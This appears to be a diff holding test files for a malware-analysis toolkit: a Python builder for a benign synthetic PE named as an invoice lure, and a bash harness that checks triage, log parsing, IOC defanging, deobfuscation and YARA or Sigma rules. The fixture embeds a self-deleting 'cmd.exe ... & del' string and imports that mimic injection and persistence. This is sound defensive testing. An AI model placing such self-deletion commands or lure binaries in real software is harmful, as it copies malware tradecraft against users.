b"D:\\build\\fixture\\Release\\invoice.pdb",
b"BENIGN TEST FIXTURE - this program only calls ExitProcess(0)",
]
WIDE_STRINGS = ["cmd.exe /c ping -n 3 127.0.0.1 & del \"%s\"", "\\\\.\\pipe\\testfixture"]
def align(n, a):
return (n + a - 1) // a * a
def build_rdata(rdata_rva):
"""Return (bytes, iat_rva_of_ExitProcess, import_dir_rva, import_dir_size)."""
buf = bytearray()
n_dlls = len(IMPORTS)
idt_size = 20 * (n_dlls + 1)
buf += b"\0" * idt_size # import directory table, patched later
thunks = {} # dll -> (ilt_off, iat_off)
for dll, funcs in IMPORTS.items():
ilt_off = len(buf); buf += b"\0" * (4 * (len(funcs) + 1))
iat_off = len(buf); buf += b"\0" * (4 * (len(funcs) + 1))
thunks[dll] = (ilt_off, iat_off)
name_offs = {}
for dll, funcs in IMPORTS.items():
for i, f in enumerate(funcs):
if len(buf) % 2: buf += b"\0"
name_offs[(dll, f)] = len(buf)
buf += struct.pack("<H", 0) + f + b"\0"
dll_offs = {}
for dll in IMPORTS:
dll_offs[dll] = len(buf); buf += dll + b"\0"
# patch thunks and IDT
exit_iat = None
for idx, (dll, funcs) in enumerate(IMPORTS.items()):
ilt_off, iat_off = thunks[dll]
for i, f in enumerate(funcs):
rva = rdata_rva + name_offs[(dll, f)]
struct.pack_into("<I", buf, ilt_off + 4 * i, rva)
struct.pack_into("<I", buf, iat_off + 4 * i, rva)
if f == b"ExitProcess":
exit_iat = rdata_rva + iat_off + 4 * i
struct.pack_into("<IIIII", buf, 20 * idx, rdata_rva + ilt_off, 0, 0, rdata_rva + dll_offs[dll], rdata_rva + iat_off)
# strings
buf += b"\0" * 16
for s in ASCII_STRINGS:
buf += s + b"\0"
buf += b"\0" * 4
for s in WIDE_STRINGS:
buf += s.encode("utf-16le") + b"\0\0"
return bytes(buf), exit_iat, rdata_rva, idt_size
def build():
text_rva, rdata_rva, data_rva = 0x1000, 0x2000, 0x3000
rdata, exit_iat, idir_rva, idir_size = build_rdata(rdata_rva)
# push 0 ; call [ExitProcess] ; int3 padding
text = b"\x6a\x00\xff\x15" + struct.pack("<I", IMAGE_BASE + exit_iat) + b"\xcc" * 8
data = b"\0" * 0x40 + b"config-placeholder\0"
secs = [(b".text", text_rva, text, 0x60000020), (b".rdata", rdata_rva, rdata, 0x40000040), (b".data", data_rva, data, 0xC0000040)]
hdr_size = 0x400
raw_ptr = hdr_size
sec_hdrs, body = b"", b""
for name, rva, content, flags in secs:
raw_size = align(len(content), FILE_ALIGN)
sec_hdrs += struct.pack("<8sIIIIIIHHI", name.ljust(8, b"\0"), len(content), rva, raw_size, raw_ptr, 0, 0, 0, 0, flags)
body += content.ljust(raw_size, b"\0")
raw_ptr += raw_size
size_of_image = align(data_rva + len(data), SEC_ALIGN)
dos = bytearray(b"MZ" + b"\0" * 62)
struct.pack_into("<I", dos, 0x3C, 0x80)
stub = b"\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21This program cannot be run in DOS mode.\r\r\n$"
dos = bytes(dos) + stub.ljust(0x80 - 64, b"\0")
coff = b"PE\0\0" + struct.pack("<HHIIIHH", 0x14C, len(secs), TIMESTAMP, 0, 0, 0xE0, 0x0102)
opt = struct.pack("<HBBIIIIIIIIIHHHHHHIIIIHHIIIIII",
0x10B, 14, 0, align(len(text), FILE_ALIGN), align(len(rdata) + len(data), FILE_ALIGN), 0,
text_rva, text_rva, rdata_rva, IMAGE_BASE, SEC_ALIGN, FILE_ALIGN,
6, 0, 1, 0, 6, 0, 0, size_of_image, hdr_size, 0, 3, 0x8140,
0x100000, 0x1000, 0x100000, 0x1000, 0, 16)
dirs = [(0, 0)] * 16
dirs[1] = (idir_rva, idir_size)
dirs[12] = (rdata_rva + 20 * (len(IMPORTS) + 1) + 4 * (len(IMPORTS[b"KERNEL32.dll"]) + 1), 4 * (len(IMPORTS[b"KERNEL32.dll"]) + 1)) # IAT (first dll) - informational
opt += b"".join(struct.pack("<II", *d) for d in dirs)
headers = (dos + coff + opt + sec_hdrs).ljust(hdr_size, b"\0")
overlay = b"OVERLAY-TEST-DATA:" + bytes(range(256)) * 2
return headers + body + overlay
def main():
out = sys.argv[1] if len(sys.argv) > 1 else "invoice_2024.exe"
data = build()
assert data[:2] == b"MZ" and data[0x80:0x84] == b"PE\0\0"
with open(out, "wb") as f:
f.write(data)
print(f"wrote {out} ({len(data)} bytes)")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,145 @@
#!/usr/bin/env bash
# End-to-end test harness for the malware-analysis skills package.
#
# Proves the host-side tooling works on realistic fixtures: the Python
# scripts every skill depends on, plus the detection rules the skills
# ship as examples. No malware is involved — fixtures are synthetic
# (tests/make_pe.py builds a benign PE that only calls ExitProcess).
#
# Usage: bash tests/run.sh
# Exit 0 = all required checks pass. Optional tool checks (pefile, yara,
# sigma, olevba) are skipped with a note when the tool is absent, so the
# harness runs on a bare box and does more when deps are installed.
set -u
cd "$(dirname "$0")/.."
ROOT=$(pwd)
PY=python3
[ -x .venv/bin/python ] && PY=.venv/bin/python
mkdir -p tests/out
pass=0; fail=0; skip=0
ok() { echo " ok $1"; pass=$((pass+1)); }
bad() { echo " FAIL $1"; fail=$((fail+1)); }
skipm(){ echo " skip $1"; skip=$((skip+1)); }
have() { command -v "$1" >/dev/null 2>&1; }
pyhas(){ $PY -c "import $1" >/dev/null 2>&1; }
# assert: <label> <needle> <<< "$output"
assert(){ if grep -qF -- "$2" <<<"$3"; then ok "$1"; else bad "$1 (missing: $2)"; fi; }
refute(){ if grep -qF -- "$2" <<<"$3"; then bad "$1 (unexpected: $2)"; else ok "$1"; fi; }
echo "== 1. script self-tests"
for s in scripts/ioc_extract.py malware-dynamic-analysis/scripts/procmon_summary.py malware-dynamic-analysis/scripts/sysmon_summary.py; do
if $PY "$s" --self-test >/dev/null 2>&1; then ok "$s"; else bad "$s"; fi
done
echo "== 2. PE triage (pe_info.py on synthetic PE)"
$PY tests/make_pe.py tests/out/invoice_2024.exe >/dev/null
[ -f tests/out/invoice_2024.exe ] && ok "PE fixture built" || bad "PE fixture build"
if pyhas pefile; then
o=$($PY malware-triage/scripts/pe_info.py tests/out/invoice_2024.exe)
assert "detects .NET=no" ".NET: no" "$o"
assert "categorizes injection" "injection: CreateRemoteThread" "$o"
assert "categorizes network" "network: InternetOpenA" "$o"
assert "categorizes persistence" "persistence: RegCreateKeyExA" "$o"
assert "stable imphash" "dfcaebd44ff7676285215e9d856415f3" "$o"
assert "finds overlay" "Overlay size: 530 bytes" "$o"
# deterministic hash
h=$($PY malware-triage/scripts/hash_calculator.py tests/out/invoice_2024.exe | grep -i sha256)
assert "hash_calculator SHA256" "af747150f9afc0937a6b62755f9bd84cfb88726370f6007ac03f8f7504d38c4d" "$h"
else
skipm "pe_info.py (pip install pefile)"
fi
echo "== 3. Procmon evidence parsing"
o=$($PY malware-dynamic-analysis/scripts/procmon_summary.py tests/fixtures/evidence/procmon.csv --process invoice_2024.exe)
assert "process tree nests cmd" " cmd.exe (PID 5102)" "$o"
assert "grandchild named" "PING.EXE (PID 5140)" "$o"
assert "dropped file" "svc.exe" "$o"
assert "persistence flagged" "PERSISTENCE" "$o"
assert "self-deletion" "Files deleted (1)" "$o"
refute "no unrelated process" "chrome.exe:2100" "$o"
echo "== 4. Sysmon evidence parsing"
o=$($PY malware-dynamic-analysis/scripts/sysmon_summary.py tests/fixtures/evidence/sysmon.json --process invoice_2024.exe,svc.exe)
assert "injection remote thread" "-> C:\\Windows\\explorer.exe" "$o"
assert "high-rights access" "0x1F0FFF" "$o"
assert "run key persistence" "PERSISTENCE" "$o"
assert "beacon detected" "BEACON-LIKE" "$o"
assert "named pipe IOC" "\\testfixture" "$o"
assert "unsigned dll load" "hlp.dll signed=false" "$o"
echo "== 5. IOC extraction + defang"
o=$(cat tests/fixtures/evidence/*.txt tests/fixtures/evidence/procmon.csv | $PY scripts/ioc_extract.py)
assert "C2 IP defanged" "203[.]0[.]113[.]5" "$o"
assert "C2 domain defanged" "update-cdn[.]example[.]test" "$o"
refute "no live C2 dot" "203.0.113.5" "$o"
o2=$(echo "hxxps://update-cdn[.]example[.]test/gate[.]php" | $PY scripts/ioc_extract.py --refang)
assert "refang restores URL" "update-cdn.example.test" "$o2"
echo "== 6. Script deobfuscation (host-side decoders from the skill)"
o=$($PY - tests/fixtures/scripts/malicious.ps1 <<'EOF'
import base64, re, sys
src = open(sys.argv[1], encoding="utf-8", errors="replace").read()
for m in re.finditer(r"[A-Za-z0-9+/]{40,}={0,2}", src):
raw = base64.b64decode(m.group(0) + "=" * (-len(m.group(0)) % 4))
for enc in ("utf-16le", "utf-8"):
try:
print(raw.decode(enc)); break
except UnicodeDecodeError:
continue
EOF
)
assert "PowerShell base64 decoded" "DownloadString" "$o"
o=$($PY - tests/fixtures/scripts/malicious.vbs <<'EOF'
import re, sys
c = open(sys.argv[1], encoding="utf-8", errors="replace").read()
c = re.sub(r"Chr[Ww]?\((\d+)\)", lambda m: '"' + chr(int(m.group(1))) + '"', c)
c = re.sub(r'"\s*&\s*"', "", c)
c = re.sub(r'StrReverse\("([^"]*)"\)', lambda m: '"' + m.group(1)[::-1] + '"', c)
for m in re.finditer(r'Replace\("([^"]*)",\s*"([^"]*)",\s*"([^"]*)"\)', c):
c = c.replace(m.group(0), '"' + m.group(1).replace(m.group(2), m.group(3)) + '"')
print(c)
EOF
)
assert "VBS Chr() resolved" '"cmd"' "$o"
assert "VBS StrReverse resolved" "calc.exe" "$o"
echo "== 7. Detection rules validate (optional)"
if have sigma || [ -x .venv/bin/sigma ]; then
SIGMA=sigma; [ -x .venv/bin/sigma ] && SIGMA=.venv/bin/sigma
n=0
rm -f tests/out/sigma_*.yml
$PY tests/extract_rules.py detection-engineer/SKILL.md tests/out/sigma_
for f in tests/out/sigma_*.yml; do
[ -f "$f" ] || continue
if $SIGMA check "$f" >/dev/null 2>&1; then ok "sigma check $(basename "$f")"; else bad "sigma check $(basename "$f")"; fi
n=$((n+1))
done
[ "$n" -gt 0 ] || skipm "no sigma rules extracted"
else
skipm "sigma check (pip install sigma-cli)"
fi
echo "== 8. YARA rule tests against PE fixture (optional)"
if { have yara || pyhas yara; } && [ -f tests/fixtures/yara/fixture.yar ]; then
if pyhas yara; then
o=$($PY - tests/fixtures/yara/fixture.yar tests/out/invoice_2024.exe tests/extract_rules.py <<'EOF'
import yara, sys
r = yara.compile(sys.argv[1])
print("MATCH" if r.match(sys.argv[2]) else "NOMATCH", "sample")
print("MATCH" if r.match(sys.argv[3]) else "NOMATCH", "clean")
EOF
)
assert "YARA matches sample" "MATCH sample" "$o"
assert "YARA clean no-match" "NOMATCH clean" "$o"
elif have yara; then
yara -w tests/fixtures/yara/fixture.yar tests/out/invoice_2024.exe | grep -q fixture && ok "yara matches sample" || bad "yara sample"
fi
else
skipm "yara (pip install yara-python)"
fi
echo
echo "== summary: $pass passed, $fail failed, $skip skipped"
[ "$fail" -eq 0 ]